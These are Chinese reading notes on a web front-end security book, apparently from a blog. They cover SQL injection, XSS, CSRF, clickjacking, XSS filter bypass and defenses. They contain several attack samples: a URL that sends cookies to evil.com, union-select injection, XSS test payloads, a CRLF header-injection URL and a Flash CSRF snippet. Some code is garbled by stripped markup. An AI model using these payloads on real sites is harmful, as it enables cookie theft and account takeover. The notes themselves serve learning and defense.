前些日子看完了白帽子讲Web安全,当时就PHP安全一章做了点小笔记,感觉看书还是留下点东西比较好。翻开Web前端黑客技术揭秘一书决定要做笔记,但是这样下来其实进度就比较慢了,敲字做笔记绝对远比看书来的慢。有时候上午看完的内容做笔记时要花一天时间,一方面是要敲字,另一方面是自己只从书上摘录部分内容有时候需要将其串起来,还有就是碰上自己想发两句言也会拖慢进度。总之现在书是看完了,要消化的东西有挺多的,这也是做笔记的原因之一,如果不留下点什么,感觉就和阅后及焚差没多少。
以下笔记内容遍布全书各个章节,其中二到六章内容会多点,实际上第二章和第六章不仅篇幅较多,个人也觉得还是全书最重要的两章。第二章的内容是前端基础,基础抓好了才能做好后面的事。第六章讲漏洞挖掘,我们之所以能利用某个漏洞进行攻击,首先是因为发现了漏洞,而漏洞是不会自己站出来的,要靠我们去挖掘。其他章节也很重要,它们是整体的一部分,第七章起就偏向具体的场景分析或利用了,因此做的笔记在这方面也比较干涩,甚至连我本人都觉得有点难为情,不过怎么说呢,这部分虽然不讨人喜欢但是少了它笔记下来就是残缺的了,还是善始善终吧。
第一章 Web安全的关键点 #本章分为三小节,第一节数据与指令,第二节浏览器同源策略,第三节信任与信任关系
数据与指令:
现有的操作系统和各种软件应用都存在漏洞,这一方面是在代码编写等方面存在缺陷,还有一方面也不容忽视。现代计算机都是遵循着冯诺依曼设计计算机时的体系架构,在设计这个架构时并没有考虑到现今会面临的各种安全问题,因此其缺陷一直流传至今:代码与数据没有进行分离。这也是为什么在Web领域能发生SQL注入,XSS跨站脚本等攻击
书上举了两个例子,一个是SQL注入,另一个是XSS攻击
现在假设我要访问www.foo.com/user.php?id=1,这个链接会对id=1进行查询,再假设这条查询语句在数据库中为:select usernme,email,descl from users where id=1,普通用户会中规中矩的输入上面这个链接,而攻击者却会尝试更多的操作,例如:www.foo.com/user.php?id=1 union select password,1,1 from users,经典的union查询,获取union表的password。如果不知道users表有几列,可以构造union select 1,2或union select 1,2,3,4这样的语句,根据返回信息判断有数据表几列。另外这个链接如果不加处理,很容易根据id值进行遍历,这样就可以获得大量的用户名和邮箱,导致用户信息泄露
再看如果现在在www.foo.com/info.html文件中插入了如下代码:然后构造如下链接:www.foo.com/info.html#new%20Image().src="http://www.evil.com/good.php?c="+escape(document.cookie)如果访问了该链接,代码就会执行eval('newImage().src="http://www.evil.com/good.php?c="+escape(document.cookie)'),再然后就是cookie被盗了
那么为什么会这样呢?原因在于location.hash获取的是链接中#及之后的内容,加上substr(1)就变成了#之后的内容,放在eval函数里面,这些东西就会得到执行了
浏览器同源策略:
同源其实指的就是同域,相同的协议,相同的域名和相同的端口,三点中任何一个不满足都不是同源的,即在没有明确授权的情况下不能访问对方资源
有时候需要对某个站点的访问进行授权,可以这样: Access-Control-Allow-Origin:http://www.test.com
有些程序员为了偷懒,将其设置为Access-Control-Allow-Origin:*,使用通配符是一件极其危险的事情,这意味着任何站点都可以访问你的资源,这样下来同源策略形 同虚设,就像你家里的大门随时敞开但没有人守一样
信任与信任关系:
安全本质上来说是围绕信任进行的,白帽子一书中作者也提到安全的本质就是信任的问题,直接说信任比较抽象,如果理解为认证、许可及权限,我是否相信你,能让你做 哪些事情就好理解多了
第二章 前端基础
#前端基础讲述Web前端一些基础部分,当然略过了语法函数这样更基础的东西。一共有7节,重点的Web技术在后三节,javascript、css、actionscript各占一节,前面的东西也重要,更多的是做一些http方面的科普工作。
0X1 标准的制定者
无论浏览器、网站还是Web应用都会遵循某些标准。尽管少数标准没有得到所有浏览器等厂商的严格支持,但这些标准不同于法规,你可以走灰色地带,但是不能违背 它,制定标准的就是W3C。
0X2 URL
URL是URI的子集,通常情况下我们将URL等同于URI,其格式为:
这里
URL有三类编码方式:escape、encodeURI、encodeURIComponent,对应着三个解码函数unescape、decodeURI、decodeURIComponent
0X3 HTTP协议
平时浏览网页,基本用的都是http协议,默认端口为80,它是一种无状态请求响应,即如果你刚才登陆了某个论坛,但是论坛服务器却不知道你有没有登陆,这更像一个患了老年痴呆的人总记不得自己有没有吃饭。为了改善用户体验,Cookie被发明了出来,Cookie可以作为一种记录用户登陆信息的凭证,既可以保存在内存中,也可以保存在本地,至于cookie的安全问题,那就是题外话了。
对于Web前端来说,深入理解HTTP很重要,书上给出了一些常用的信息,但在实践中要用到的远不止这些,例如:X-Forworded-For:。如果仅仅是日常使用,那么找两篇讲HTTP协议的文章看看,自己稍微积累就可以了。若是想对HTTP有个更深入的了解,可以看看《HTTP权威指南》,这本书英文原版出版于十几年前,十几年的时间里经历了从Web1.0到Web2.0的变化,但是HTTP协议里那些基本的东西仍然在使用,就像C语言、C++现在用的标准和十几年前没多大区别一样。
0X4 HTML世界
HTML代码可以转为DOM树,就如做代码漏洞扫描可以先将其转为XML中间层一样,按照标签出现的关系和顺序来排列,夹杂在标签中的内容则作为其子项
内嵌标签在HTML中是再常见不过的事情了,、也是标签,不过不是这里提到的内嵌标签。比较常见的是、这些。这里
2)Ajax技术可以用于网页的局部刷新,既能减少消耗的网络带宽,也能加快响应速度。Ajax有一个非常重要的对象XMLHttpRequest,关于其一些技术细节也可以参考《Javascript DOM编程艺术》
javascript和Ajax都严格遵守同源策略,前面提到可以通过
3)前面说到cookie用来存储用户的会话信息,一方面方便了用户,另一方面cookie也容易被利用来盗取用户信息,它的安全也是一个不容忽视的问题,通过一些操作可以使得cookie的安全性加强
1.cookie的重要字段:[name][value][domain][path][expires][httponly][secure]
2.设置cookie时,不加指定的情况下cookie的使用范围是本域,但是如果将domain指定为父级域,那么其兄弟域也可以访问,一方面可以共享,同时也敞开了自家的大门,只要是有亲缘关系的谁都可以进进出出
3.如果不指定path的值,默认就是当前页面的路径,例如对于www.foo.com/admin/index.php,path的值就是/admin/,虽然只有相同路径下的javascript才能读取cookie,但是通过iframe进行DOM操作可以实现跨路径读取cookie
xc = function(src){ var o = document.createElement("iframe"); // iframe 进入同域的目标页面 o.src = src; document.getElementsByTagName("body")[0].appendChild(o); o.onload = function(){ // iframe 加载完成后 d = o.contentDocument || o.contentWindow.document; // 获取document 对象 alert(d.cookie); // 获取cookie }; }('http://a.foo.com/admin/index.php');
4.为了防止客户端javascript脚本访问cookie,可以设置HttpOnly,以PHP为例:
即便设置了HttpOnly,XSS还是会存在,XSS是一种很灵活的技术,安全性加强了并不能保证就一定是安全的
CVE-2012-0053就是利用HTTP请求头超过LimitRequestFieldSize的长度使Apache服务器报400错误并且在返回信息中暴露了HttpOnly Cookie,POC
5.Secure标志设置后,Cookie仅在https层进行传输,很好,传输过程加密保证了机密性。然而不足的是,客户端脚本仍可对其进行读写,看起来是安全很多了,实际上效果却没有想象的那么好
6.之前提到过cookie分两种,一种保存在内存中,浏览器一旦关闭就失效;还有一种是存在本地硬盘的,可以长时间有效,用户下次直接就可以登录但是由于是存在本地而且短时间内不会过期,风险也相当大。如果想要让cookie过期,可以将expires的值设为当前时间之前的任何时间,没必要非得删除cookies
7.Cookie的P3P(Platform for Privacy Preference Project)是隐私保护的推荐标准,用于标识目标网站的Cookie是否可以被另一个域通过加载目标网站而设置或发送,平时P3P见得比较少,感兴趣的话可以自己查阅相关资料
4)本地存储风险
浏览器有几种本地存储方式,除了Cookie之外还有html5新增的localStorage和local Database,IE的UserData及flash的本地共享对象Flash Cookie
本地存储存在被植入广告跟踪标志的风险,说真的,平时浏览网页看到的各种各样的广告就已经很烦了。
1.浏览器限制每个域最多能有50个cookie,每个cookie长度不超过4KB,如果超过了,要不是删除就是截断了
2.UserData可以持久化,每个域最大能有64KB,想在本地保存什么东西相比cookie就有很大优势了,不过只有IE支持
3.localStorage是那种你不主动删除就不会消失的,这样的话有时候也挺讨厌的,为安全起见用完之后还得用户自己清场。现在各大浏览器以SQLite或XML的格式对其进行存储,以前都对SQL注入看得比XSS重,因为SQL注入发生在服务器端,现在客户端也可以注入了。
4.Flash是通用的跨浏览器的解决方案,不存在各浏览器的兼容问题,由ActionScript脚本编写,其cookie的存储大小是100KB,存储能力比上述都要大得多
5.E4X(ECMAScript For XML)可以用来混淆Javascript代码,如下代码:
可以:alert(foo.id.@name)、alert(foo..@name),还可以更进一步:alert(
再考虑将脚本放在XML中,x=<>alert('hello')>,获取x的值,显示出来就是eval(x+[])
嵌入在XML中的数据x=<>alert('hello')>时无法自动执行的,可以改为x=<>{alert('hello')}>,表示里面是要执行的脚本
关于e4x更多信息可以参考 http://www.thespanner.co.uk/?s=e4x
5) Javascript函数劫持
这里的函数劫持是指在目标函数触发前,重写目标函数
var _eval=eval; eval = function(x){ if(typeof(x)=='undefined'){return;} alert(x); // 这之前可以写任意代码 _eval(x); }; eval('alert(1)'); // 这时的eval 会先弹出它的参数值,然后才是动态执行参数值
0X6 CSS
CSS可以控制网页的呈现样式,包括颜色、透明、偏移、布局,可以用来构造我们想要的网页,也可以伪装网页进行钓鱼攻击
1) CSS具有非常高的容错性,前一个样式出现的非法字符并不影响后面样式块的正常解析
h1{font-size:50px;color:red;xxx}h2{color:green}
很明显h1中的
attr selector:
判断input表单项的值是否以x开头,如果是则会触发唯一性请求
0X7 ActionScript
ActionScript由Flash脚本的虚拟机执行,通常运行于浏览器的安全沙箱之中,常接触的版本有AS2和AS3
1) 安全沙箱
1.FlashPlayer的权限控制
系统管理员用户控制如下两种类型:mms.cfg文件——数据加载,隐私控制等;"全局Flash Palyer信任目录"——在这个目录下swf文件可以与其他swf文件交互,也可以从任意其他地方加载数据,这里面的文件都是得到信任的
普通用户控制,控制如下三种类型:摄像头和麦克风设置;Flash Cookies;用户自己的"Flash player信任"目录
Web站点控制——crossdomain.xml,配置文件中有一个节点:
2.安全沙箱
本地沙箱有三种类型:只能与文件系统内容交互的本地沙箱——不能与网络上的对象通信;只能与远程内容交互;受信任的沙箱——既得信任,可与本地和远程域通信
对于如下Security.sandboxType编码:
Security.REMOTE; Security.LOCAL_WITH_FILE; Security.LOCAL_WITH_NETWORK; Security.LOCAL_TRUSTED
2) HTML嵌入flash
在发布Flash时生成的HTML文件内
<object type="application/x-shockwave-flash" data="http://www.foo.com/hi.swf" width="550" height="400"> "movie" value="http://www.foo.com/flash/hi.swf" /> "allowScriptAccess" value="always" /> "allowNetworking" value="all"> "allowFullScreen" value="true"> "flashvars" value="a=1"> </object>
1.allowNetworking控制Flash文件的网络访问功能,有三个值:all,internerl(default value),none
2.allowScriptAccess控制ActionScript与javascript的通信,有三个值:never,sameDomain,always
3.allowFullScreen控制是否全屏,默认为false
3) 跨站Flash
AS2中,loadMovie等函数可以加载第三方Flash文件,AS3中改为通用的Loader类进行外部数据处理
var param:Object = root.loaderInfo.parameters; var swf:String = param["swf"]; var myLoader:Loader = new Loader(); var url:URLRequest = new URLRequest(swf); myLoader.load(url); addChild(myLoader);
AS2相比AS3更简洁,因为参数更灵活,不过在Web中参数太灵活可不一定是什么好事,SQL注入就是利用用户输入的参数实施的攻击
4) 参数传递
AS2中的_root.argv形式,argv直接就是参数名
AS3的root.loadInfo.parameters形式,返回参数键值的字典结构
另外还有外部的XML形式
5)Flash内嵌HTML
Flash支持的能导致安全问题的只有、
仅支持target与href属性,href:支持Javascript伪协议;AS2支持asfunction伪协议;AS3支持event:事件协议
无论AS2还是AS3,都支持直接嵌入swf文件解析
var t:TextField = new TextField(); // 实例化TextField 对象 t.width = 500; t.height = 300; t.htmlText += 'click1'; t.addEventListener("link", clickHandler); // 监听链接点击事件 addChild(t); // 将TextField 实例附加进Flash 上下文 function clickHandler(e:TextEvent):void { navigateToURL(new URLRequest(e.text),"_self"); }
6) 与Javascript通信
AS2中使用getURL(),AS3中使用navigateToURL()替代之
navigateToURL(new URLRequest('javascript:alert(1)'),"_self");
ExternalInterface是ActionScript转码用于与Javascript通信的接口对象
import flash.external.ExternalInterface; function set_watermark(){...} ... ExternalInterface.addCallback("set_watermark", set_watermark);//接口名\函数名 ... ExternalInterface.call("eval","alert(/ready/)");//调用外部Javascript函数
7) Something else
...
Web前端花了不少精力介绍Web前端技术的一些不太基础的基础,前端就是我们看得见的东西,在这里Javascript、CSS和ActionScript都做了个大概的介绍。平时如果写网页的话,Javascript和CSS可能接触得会比ActionScript多一点,尽管如此,与ActionScript关系密切的Flash我们却并不陌生,平时网页视频或者一些文件的显示都依赖于Flash。这三者结合起来可用于钓鱼,XSS等网络攻击,每一个部分都有其研究价值,现在其实只是做一个简单的了解,后面还会与它们继续打交道
第三章 XSS
书上XSS一章内容比较少,如果想详细了解XSS的话可以参考《XSS跨站脚本》,不过本书中引用的webappsec上面的一些内容也可以参考参考,摘录如下:
#常见的输入点:
document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
#常见的输出点:
document.write(…)
document.writeln(…)
document.body.innerHtml=…
#直接修改DOM树:
document.forms[0].action=… (and various other collections)
document.attachEvent(…)
document.create…(…)
document.execCommand(…)
document.body. … (accessing the DOM through the body object)
window.attachEvent(…)
#替换document URL:
document.location=… (and assigning to location’s href, host and hostname)
document.location.hostname=…
document.location.replace(…)
document.location.assign(…)
document.URL=…
window.navigate(…)
#打开或修改新窗口:
document.open(…)
window.open(…)
window.location.href=… (and assigning to location’s href, host and hostname)
#直接执行脚本:
eval(…)
window.execScript(…)
window.setInterval(…)
window.setTimeout(…)
第四章 CSRF
CSRF和XSS略有差别,XSS需要借用Javascript等脚本语言,CSRF可以使用Javascript也可以不用。CSRF是跨域请求伪造,首先的跨域,但是浏览器的同源策略限制了脚本语言发生跨域请求,而客户端的HTML标签等发出的跨域GET请求被认为是合法的。既然是伪造,当然不可能毫无根据的说什么就是什么,它有一个前提条件:请求是身份认后的,即目标网站的本地cookie在跨域请求中被带上。以取快递为例,现假设乙要冒充甲取他的快递,有两种可能,第一甲是货到付款的,那么乙如果想拿走快递就得自己掏钱,他显然是不愿意的。第二,如果甲已经付了钱,乙只要知道甲的手机号和名字,或者在加上领取快递的编号就可以冒充甲取快递。乙可能认识甲,但他需要手机号等信息作为凭证,而这些信息就相当于Cookie,他可以问别人要到,这就是跨站请求伪造。对于携带自己的cookie去访问其他网站,IE会做出较严格的限制,其他浏览器则宽松许多。
按攻击类型分CSRF分为:HTML CSRF,JSON HiJacking,Flash CSRF
HTML中能设置href/src等连接的标签都可以发起一个GET请求,如
CSS中@import ""和background:url("")同样可以
JSON HiJacking是对Ajax响应中JSON数据类型进行劫持攻击,响应的JSON数据有两种格式,字典(hash)格式和列表(list)
格式。JSON数据如果以字典形式返回不能直接在浏览器中显示,应该对其进行处理,如eval("("+JSON_DATA+")")
Flash CSRF相比之下有一个显而易见的好处——攻击过程更加隐蔽,参考如下代码:
import flash.netURLRequest; function post(msg) { var url = new URLRequest("http://t.xx.com/article/update"); var _v = new URLVariable(); _v = "status"+msg; url.method = "POST"; url.data = _v; sendToURL(url); } post('CSRF PAYLOAD');
第五章 界面劫持
1) 界面劫持概述
界面劫持是基于视觉欺骗的Web攻击,分为三种:
No.1 点击劫持——劫持有会话交互的页面,鼠标点击后便被劫持
No.2 拖放劫持——用鼠标拖放来实现某些操作时进行劫持操作扩展了点击劫持的范围,另外拖放不受同源策略限制
No.3 触屏劫持——移动终端上用户只能通过手指在较小的界面上触屏完成操作
2) 劫持技术原理
1.点击劫持:CSS透明层+iframe
利用CSS中透明属性opacity,取值范围0~1,取值0时透明度最高,opacity:0.5
用iframe嵌入被劫持界面:
2.拖放劫持
使用dataTransfer对象,该对象有两个方法:getData和setData
event.dataTransfer.setData("URL","www.evil.com");
var url = event.dataTransfer.getData("URL");
setData像系统剪切板中存储需要传递的数据,getData获取由setData存储的数据
使用HTML5拖放函数,包括ondrag,ondragstart,ondragend,ondragenter,ondragover,ondrop等
3.触屏劫持
移动设备屏幕不同于传统Web,对应的可视区域viewport也需要改变
与PC端浏览网页不同,移动设备上会使用全屏模式因此URL地址栏
移动设备不能用鼠标操作,因此用模拟鼠标键盘动作的函数实现触屏
4.界面劫持技术实际是一种视觉欺骗,利用CSS等技术可以将包含恶意代码的网页覆盖在用户交互的页面上的任何地方,调整透明性使得对用户而言不可见或容易忽略,用户上当后即被劫持,说起来感觉就是变魔术一样
第六章 漏洞挖掘
漏洞挖掘是本书中非常有价值的一章,更多的倾向于XSS的漏洞挖掘,相比之下CSRF与界面劫持确实要容易一些。
CSRF的漏洞挖掘只需确认以下内容:
目标表单是否有有效的token随机串;
目标表单师傅有验证码;
目标是否判断了Refere来源;
网站根目录下的crossdomain.xml的"allow-access-from domain"是否是通配符;
目标JSON是否可以自定义callback函数
界面劫持的漏洞挖掘只需确认以下内容:
目标的HTTP响应头是否设置了X-Frame-Options字段;
目标是否有Javascript的Frame Busting机制;
更简单的是用iframe嵌入目标网站试试
No.1 普通XSS自动化挖掘思路--反射型
1) 反射型XSS最常见的就是直接在URL中进行注入,至于URL的格式前面已经提到过,如下:
2) 一般情况下可以通过将payload加入到参数来测试XSS的存在与否
'">
' οnmοuseοver=alert(1) x='
` οnmοuseοver=alert(1) x=`
javascript:alert(1)//
'";alert(1)
}x:expression(alert(1))
.....
根据请求后的翻译看是否有弹出窗或浏览器脚本错误,如果有则说明目标存在XSS漏洞
例如:www.test.com/xss.php?id=1,这里输入点为id=1,既然有输入点,查看结果则依赖于输出点,可能是以下几处:
HTML标签之间,
HTML标签内,
Javascript代码的值,
CSS代码的值,
就HTML标签之间的输出点而言,有很多标签之间的脚本是无法执行的:
HTML标签之内要做的其实很简单,构造标签、闭合标签,不过单闭合标签就有非常多种可能,例如:
,这里需要闭合input标签,否则会由于hidden的特效导致无法触发XSS
Javascript和CSS代码的值其实和上面非常类似,说起来都是构造能执行的Javascript语句,闭合标签
No.2 DOM渲染
1) HTML与Javascript自解码机制
以如下代码为例:
function HtmlEncode(str){ //sample a var s = ""; if(str.length==0) return ""; s = str.replace(/&/g,"&"); s = s.replace(/); s = s.replace(/>/g,">"); s = s.replace(/\"/g,"""); return s; } '))" />
这段代码不会执行alert(123),做点改动如下:
//sample b
这次alert(123)得到了执行,点击样例b时,document.write实际是:
为什么会这样呢?这里onclick里面的Javascript代码出现在HTML标签内,意味着Javascript可以进行HTML形式的编码,这种编码分为进制编码和HTML实体编码。在Javascript执行之前,HTML形式形式的编码会自动解码。反过来说如果HTML编码的上下文环境是Javascript,那么在Javascript执行之前不会自动解码。这种情况下,用户输入要遵守的是Javascript编码,有如下几种:Unicode形式(\uH)、普通十六进制(\xH)、纯转义(\转义)。用户输入会被编码或转义,但Javascript在执行之前会执行去转义的操作——自动解码。
前面提到了在
2) URL编码差异
对特殊字符的编码,几大主流浏览器之间是存在小小差异的,书上给出了一个示例,代码如下:
php echo '$_SERVER["QUERY_STRING"]
'; echo $_SERVER["QUERY_STRING"]; echo ''; echo 'in<input > $_SERVER["QUERY_STRING"].'" />'; //echo '$_GET["c"]
'; //echo $_GET["c"]; //echo ''; //echo 'in <input > '; ?>
书上给出的测试结果是FireFox对字符的编码相对是最全的,Chrome次之,IE不做任何编码
拿到本地进行测试,去掉源代码中的注释符,查询如下:?c='"`<>!@$%^*(){}[]:;.,?~
三个浏览器抓包得到的情况如下:
IE10:GET /test/url-test.php?c='"`<>!@$%^*(){}[]:;.,?~ HTTP/1.1
Chrome31:GET /test/url-test.php?c='%22`%3C%3E!@$%^*(){}[]:;.,?~ HTTP/1.1
FireFox25:GET /test/url-test.php?c=%27%22%60%3C%3E!@$%^*(){}[]:;.,?~ HTTP/1.1
看得出来的确如此,按这样说的话Firefox应该是最安全的,但是当查询改为:c=时,IE是直接禁用了脚本,Chrome没有弹出框,而Firefox弹出了123的框,这说明编码上存在的差异不足以完全决定浏览器在遇到脚本执行时采取的措施,像IE这样既有XSS filter,而且会自动对页面修改以防止跨站脚本,虽然没有对特殊字符编码,仍然是安全的
No.3 DOM XSS挖掘
1)漏洞挖掘跟代码审计一样,分为静态方法和动态方法,静态方法一旦发现可以特征就得中断下来人工分析。就工具化而言,静态方法可以使用正则表达式匹配输入点和输出点:
输入点:
/(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModalDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\W)|(localStorage|sessionStorage|Database)/
输出点:
/((src|href|data|location|code|value|action)\s*["'\]]*\s*\+?\s*=)|((replace|assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\s*["'\]]*\s*\()/
与静态方法只需进行特征匹配不同,动态方法要对程序的执行流程进行跟踪,除了输入点和输出点外还要关心逻辑过程。一种比较简单的方式时借用浏览器动态执行的优势,以DOM树的改变为判断依据,对输入点进行模糊测试,然后判断渲染后的DOM树中是否有期望的值,不过这种方法无法逻辑判断导致的误差
2) 网站上经常会有swf的flash文件,毫无疑问这些文件可能会有XSF风险。对于Flash文件,同样可以通过静态和动态的方式进行分析,静态分析可以用HP的SWFScan对swf文件反编译,查看源代码。动态分析则可以利用Firebug等工具进行跟踪
3) 字符集缺陷导致的XSS
GBK:第一个字节(高字节)的范围是0x81~0xFE,第二个字节(低字节)的范围是0x40~0x7E与0x80~0xFE
对于像PHP中magic_quotes_gpc = On的情况,双引号等会被\(0x5c)转义。在GBK低字节中,如果之前有一个高字节,那么就会组成一个合法的字符串,这就是款字节编码的绕过。
GB2312:被GBK兼容,高位范围是0xA1~0xF7,低位范围是0xA1~0xFE。由于GBK兼容GB2312,因此存在把GB2312按GBK处理的情况。
UTF7:现在仅IE仍支持UTF-7,或者说以前的版本中IE会自动选择UTF-7。有几种方式可以使用UTF-7:通过iframe方式调用外部UTF-7编码的HTML文件——IE现在限制了
在实际中能控制目标网页开头部分的功能有用户自定义的CSS样式文件、JSON Callback类型的链接,而要修补这类问题只需在目标网页开头部分强制加一个空格即可,这样BOM头便无效了。
No.4 绕过浏览器XSS Filter
XSS Filter主要针对反射型XSS,大体采用的是启发式的检测,即根据用户提交的参数是否判断是否有潜在的XSS特征,
并重新渲染响应的内容保证潜在的XSS特征不会触发,IE自动修改页面就是重新渲染的例子。
响应头CRLF注入绕过:若目标网页存在响应头不CRLF注入,在HTTP响应头注入回车换行符就可以注入头部:
X-XSS-Protection: 0用于关闭XSS Filter机制,例如:http://test.com/xx.action?id=%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0ax%3Cscript%3Ealert%28123%29%3B%3C%2fscript%3Ey
针对同域的白名单:
IE会判断Referer来源是否是本域,如果是则XSS Filter不会生效,如:referer:
Chrome则与IE不一样,如果
No.5 混淆的代码
毫无疑问,本节是漏洞挖掘一章最重要的,所占的篇幅也最多,在很多情况下浏览器或网站会对一些代码过滤,当过滤集比较完善时可能一般的方法无法绕过,这时候就需要对代码进行混淆,基于黑名单的过滤器毕竟是有限的集合,精妙构造的混淆代码可以绕过。
1) 浏览器的进制
HTML属性中用的最多是十进制和十六进制,十进制在HTML中用形如A的方式表示;十六进制则为O的形式。
CSS代码中只能用到十进制和十六进制,除了兼容HTML中的进制表示外,十六进制还可以使用\6c的形式表示。
Javascript代码中可直接通过eval执行的字符有八进制(\56)和十六进制(\x4c)两种编码方式,它们都不能给多字节字符编码,只能用十六进制的Unicode编码。
另外Javascript自带了两个函数可以进行进制的编码解码:char.toString(2 | 8 |10 | 16), String.fromCharCode(code,18)
书上给出了一段自定义的编码解码函数,也可以使用http://monyer.com/demo/monyerjs/进行在线编码解码
浏览器对进制的识别表现良好,将HTML代码或Javascript编码为十进制或十六进制后都能得到执行,更可喜的是进制方式对字母大小写不敏感,后缀";"也非必须,即便在代码里进行混合进制的编码,浏览器依然能识别。
2) 浏览器的编码
Javascript中有三套编码/解码函数:
escape/unescape
encodeURL/decodeURL
encodeURLComponent/decodeURLComponent
三种编码近乎相同,区别在于:
escape不编码的字符有69个:*、+、-、.、/、_、0~9、a~z、A~Z且对0~255以外的unicode编码时输出%u****格式
encodeURL不编码的字符有82个:!、#、$、&、'、(、)、,、:、;、@、=、?、*、+、-、.、/、_、0~9、a~z、A~Z
encodeURLComponent不编码的字符有71个:!、'、(、)、*、-、_、.、~、0~9、a~z、A~Z
除了Javascript提供的这三种加密/解密方法外,还有HTMLEncode、URLEncode、JSEncode、UTF-7、Base64编码也经常用到。这几种编码里面JSEncode看起来稍微陌生点,编码后形如:,而"cryptstr"则是明文经过Unicode编码后的字符串,unescape用于将unicode字符串转为原字符串
3) HTML中的代码注入
完整的HTML代码分为:标签名、属性名、属性值、文本、注释
No.1 标签 HTML标签不区分大小写,所以可以构造能用的话也可以闭合
这个页面可以设置document.domain为当前子域或比当前子域更高级的域
6.其他跨域技术
"走向本地的邪恶之路","IE下MTHML协议带来的跨域危害","Hacking with mhtml protocol handler"
4) XSS Proxy技术
服务端WebSocket(持久性连接)推送指令
postMessage方式推送——客户端最直接的跨文档传输方法,一般用在iframe中父页与子页之间的客户端跨域通信
5)本节讲述真实案例中的漏洞利用,案例一是百度空间登录DIV层钓鱼,大概是用户可以在自己的空间主页添加一个自定义widget,但是没有过滤src值中的双引号,导致XSS漏洞。这个说法表示有点疑惑,为什么src值中的引号没过滤会导致XSS,前面说过HTML属性的值可以用单引号、双引号,也可以不用引号,至于到底怎么触发的还是要自己去考证一下。案例二是假冒Google的钓鱼调查问卷,后面的几个案例不在此一一道来。
总结一下这章的内容,本章主要介绍了XSS漏洞利用的一些方法,都结合特定的情况进行说明,另外本章后面给出了几个真实发生的案例,结合具体实例给出了分析和源代码。就这几种情况而言,前面提到过的技术基本上都派上了,具体到实践中可能要将不同的方法和技术结合起来,这就不是三言两语能说得清怎么做到的了,有句话叫理论结合实际,漏洞利用就是练动手能力的好机会。
第八章 HTML5安全
"HTML已经不是简单地HTML标签的升级,它还涵盖了各种新的Javascript API函数,比如本地存储、拖放操作、地理定位、视频、音频、图像、动画等"。
1) 新标签和新属性绕过黑名单策略
传统的黑名单策略会使用HTML的标签、属性和正则表达式作为关键字匹配,不管怎么说,黑名单采用的是一个有限的规则集,如果有新的元素加入但是黑名单了没有的话就会留下安全风险。
HTML5中可以用到的新标签有音频标签
第九章 Web蠕虫
Web蠕虫主要包括:XSS蠕虫、CSRF蠕虫、Clickjacking蠕虫,其思想很简单—用户参与。
1) XSS蠕虫
蠕虫性质:传播性——在Web层基于HTTP请求进行传播;病毒行为——恶意操作,Web层面客户端主要是Javascript脚本发起的恶意HTTP请求
XSS蠕虫的条件:内容有用户驱动;存在XSS漏洞;被感染的用户是登陆状态——登陆后的权限能执行更多操作;蠕虫传播利用的关键功能本身具备内容传播性。
=>目标Web2.0网站存在XSS漏洞,当被攻击用户查看存在XSS蠕虫代码的内容时,蠕虫触发并开始感染传播
XSS蠕虫的危害:对用户数据进行恶意操作;拒绝服务攻击;分布式拒绝服务攻击;散播广告;传播网马;传播舆情
XSS蠕虫为了能快速传播通常会将目标定位SNS网站,但是SNS网站很可能对此做出一些过滤,有时候标签并不是过滤的对象,因此可以试一下将代码放在 标签内,再将display的值设为none。另外为了蠕虫的"苗条",会用到形如 $('xxx').html()的代码——获取id为xxx的DOM节点的html值
2) CSRF蠕虫
CSRF蠕虫与XSS蠕虫的不同之处在于CSRF的代码存在攻击者页面中,而XSS的攻击代码存放在目标网站
CSRF蠕虫请求:GET请求获取被攻击者相关隐私数据;POST请求提交数据,使得被攻击者自动发送某些信息
3) Clickjacking蠕虫
在SNS网络中,找到一个可以直接使用HTTP的GET方式提交数据的页面;这个页面可以被
第十章 防御
防御Web攻击,要从三个方面进行:浏览器厂商;Web服务厂商;中断用户
1) 浏览器厂商的防御
HTTP响应头:X-Frame-Options;X-XSS-Protection;X-Content-Security-Policy
X-Frame-Options的值有两个:DENY(进制加载任何frame);SAMEORIGIN(仅允许加载同域内的frame)
X-XSS-Protection的值有三个:
0 => 禁用该策略
1 => 默认,对一些危险脚本做一些标志或修改以阻止在浏览器上渲染执行
1; => mode=block,强制不渲染
这个策略针对反射型XSS,无法兑付存储型XSS——浏览器无法区分从后端存储输出到浏览器前端的Javascript代码是否合法
CSP策略由一些指令构成,每个指令以分号分隔:
X-Content-Security-Policy:[指令1] [指令值1] [指令值2]; [指令2] [指令值1] [指令值2]...
X-Content-Security-Policy有如下指令,其具体描述详见书本:
default-src, scripr-src, object-src, img-src, media-src, frame-src, font-src, connect-src, style-src
2) Web服务商的防御
域分离 —— 不同的子业务放在不同的子域;
安全传输 —— HTTPS;
安全的Cookie —— 正确设置HttpOnly;
良好的验证码 —— 安全总是和用户体验冲突
谨慎使用第三方内容 ——